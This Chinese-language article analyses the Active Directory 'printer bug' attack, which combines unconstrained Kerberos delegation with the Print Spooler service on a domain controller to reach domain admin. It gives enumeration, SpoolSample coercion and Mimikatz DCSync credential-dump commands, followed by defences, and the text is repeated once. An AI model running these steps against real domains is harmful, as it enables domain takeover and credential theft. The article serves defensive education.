攻击者是如何通过域控制器打印机服务和无约束Kerberos委派账户获取最高权限的
字数 1501 2025-08-27 12:33:23

通过域控制器打印机服务和无约束Kerberos委派获取最高权限攻击分析

攻击概述

本攻击技术利用Active Directory中两个常见配置漏洞的组合来获取域管理员权限:

  1. 配置了无约束Kerberos委派的账户
  2. 域控制器上运行的Print Spooler服务

攻击者通过这两个条件的组合可以获取域控制器的TGT票证,进而完全控制整个域。

背景知识

无约束Kerberos委派

无约束Kerberos委派(Unconstrained Delegation)是Active Directory中的一种权限配置,允许服务代表用户向任何其他服务进行身份验证。当账户配置了无约束委派时,它可以接收其他用户的TGT票证,这是Kerberos身份验证中最敏感的凭据。

Print Spooler服务

Print Spooler是Windows系统中管理打印作业的服务。域控制器通常不需要运行此服务,但在许多环境中默认启用。该服务通过MS-RPRN协议处理远程打印请求。

攻击原理

攻击利用以下技术流程:

  1. 发现无约束委派账户:攻击者首先识别配置了无约束Kerberos委派的账户或计算机账户
  2. 控制委派账户:攻击者通过某种方式(如凭证窃取)控制该账户
  3. 定位运行Print Spooler的DC:扫描域控制器,寻找运行Print Spooler服务的DC
  4. 触发认证请求:向DC的Print Spooler服务发送RpcRemoteFindFirstPrinterChangeNotification请求
  5. 捕获TGT票证:DC会向请求者(被控制的委派账户)发送包含其计算机账户TGT的响应
  6. 冒充域控制器:攻击者使用捕获的TGT票证可以完全冒充域控制器
  7. 执行DCSync攻击:使用域控制器的权限提取域中所有账户的凭据

详细攻击步骤

1. 识别无约束委派账户

使用PowerShell AD模块查找配置了委派的账户:

Get-ADObject -filter { 
    (UserAccountControl -BAND 0x0080000) -OR 
    (UserAccountControl -BAND 0x1000000) -OR 
    (msDS-AllowedToDelegateTo -like '*') 
} -prop Name,ObjectClass,PrimaryGroupID,UserAccountControl,ServicePrincipalName,msDS-AllowedToDelegateTo

2. 控制委派账户

通过以下方式之一获取委派账户的控制权:

  • 凭证窃取(如Mimikatz)
  • 横向移动攻击
  • 社会工程学攻击

3. 发现运行Print Spooler的DC

使用端口扫描或服务枚举工具识别运行Print Spooler的域控制器。

4. 触发认证请求

使用Lee Christensen发布的SpoolSample工具发送恶意打印通知请求:

SpoolSample.exe <DC_NAME> <ATTACKER_CONTROLLED_UNCONSTRAINED_DELEGATION_SYSTEM>

5. 捕获TGT票证

在被控制的委派系统上使用工具(如Rubeus)捕获来自DC的TGT票证。

6. 冒充域控制器

使用捕获的TGT票证生成服务票证,完全冒充域控制器。

7. 执行DCSync攻击

使用Mimikatz执行DCSync获取域中所有用户的凭据:

lsadump::dcsync /domain:domain.local /all

防御措施

1. 禁用不必要的Print Spooler服务

在所有域控制器和关键服务器上禁用Print Spooler服务:

Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled

2. 限制无约束委派的使用

  • 将无约束委派替换为约束委派(Constrained Delegation)
  • 定期审计环境中配置了委派的账户
  • 为必须使用无约束委派的服务创建专用账户

3. 监控和检测

  • 监控异常打印服务请求
  • 监控异常的Kerberos票证请求
  • 实施SIEM规则检测DCSync活动

4. 特权账户保护

  • 实施特权访问工作站(PAW)
  • 限制域管理员账户的使用
  • 启用Credential Guard

参考资源

此攻击技术展示了Active Directory中看似无害的服务配置如何与权限设置结合产生严重的安全风险,强调了全面安全配置审计的重要性。

通过域控制器打印机服务和无约束Kerberos委派获取最高权限攻击分析 攻击概述 本攻击技术利用Active Directory中两个常见配置漏洞的组合来获取域管理员权限: 配置了无约束Kerberos委派的账户 域控制器上运行的Print Spooler服务 攻击者通过这两个条件的组合可以获取域控制器的TGT票证,进而完全控制整个域。 背景知识 无约束Kerberos委派 无约束Kerberos委派(Unconstrained Delegation)是Active Directory中的一种权限配置,允许服务代表用户向任何其他服务进行身份验证。当账户配置了无约束委派时,它可以接收其他用户的TGT票证,这是Kerberos身份验证中最敏感的凭据。 Print Spooler服务 Print Spooler是Windows系统中管理打印作业的服务。域控制器通常不需要运行此服务,但在许多环境中默认启用。该服务通过MS-RPRN协议处理远程打印请求。 攻击原理 攻击利用以下技术流程: 发现无约束委派账户 :攻击者首先识别配置了无约束Kerberos委派的账户或计算机账户 控制委派账户 :攻击者通过某种方式(如凭证窃取)控制该账户 定位运行Print Spooler的DC :扫描域控制器,寻找运行Print Spooler服务的DC 触发认证请求 :向DC的Print Spooler服务发送 RpcRemoteFindFirstPrinterChangeNotification 请求 捕获TGT票证 :DC会向请求者(被控制的委派账户)发送包含其计算机账户TGT的响应 冒充域控制器 :攻击者使用捕获的TGT票证可以完全冒充域控制器 执行DCSync攻击 :使用域控制器的权限提取域中所有账户的凭据 详细攻击步骤 1. 识别无约束委派账户 使用PowerShell AD模块查找配置了委派的账户: 2. 控制委派账户 通过以下方式之一获取委派账户的控制权: 凭证窃取(如Mimikatz) 横向移动攻击 社会工程学攻击 3. 发现运行Print Spooler的DC 使用端口扫描或服务枚举工具识别运行Print Spooler的域控制器。 4. 触发认证请求 使用Lee Christensen发布的 SpoolSample 工具发送恶意打印通知请求: 5. 捕获TGT票证 在被控制的委派系统上使用工具(如Rubeus)捕获来自DC的TGT票证。 6. 冒充域控制器 使用捕获的TGT票证生成服务票证,完全冒充域控制器。 7. 执行DCSync攻击 使用Mimikatz执行DCSync获取域中所有用户的凭据: 防御措施 1. 禁用不必要的Print Spooler服务 在所有域控制器和关键服务器上禁用Print Spooler服务: 2. 限制无约束委派的使用 将无约束委派替换为约束委派(Constrained Delegation) 定期审计环境中配置了委派的账户 为必须使用无约束委派的服务创建专用账户 3. 监控和检测 监控异常打印服务请求 监控异常的Kerberos票证请求 实施SIEM规则检测DCSync活动 4. 特权账户保护 实施特权访问工作站(PAW) 限制域管理员账户的使用 启用Credential Guard 参考资源 DerbyCon8演讲幻灯片 SpoolSample PoC工具 Microsoft安全响应 此攻击技术展示了Active Directory中看似无害的服务配置如何与权限设置结合产生严重的安全风险,强调了全面安全配置审计的重要性。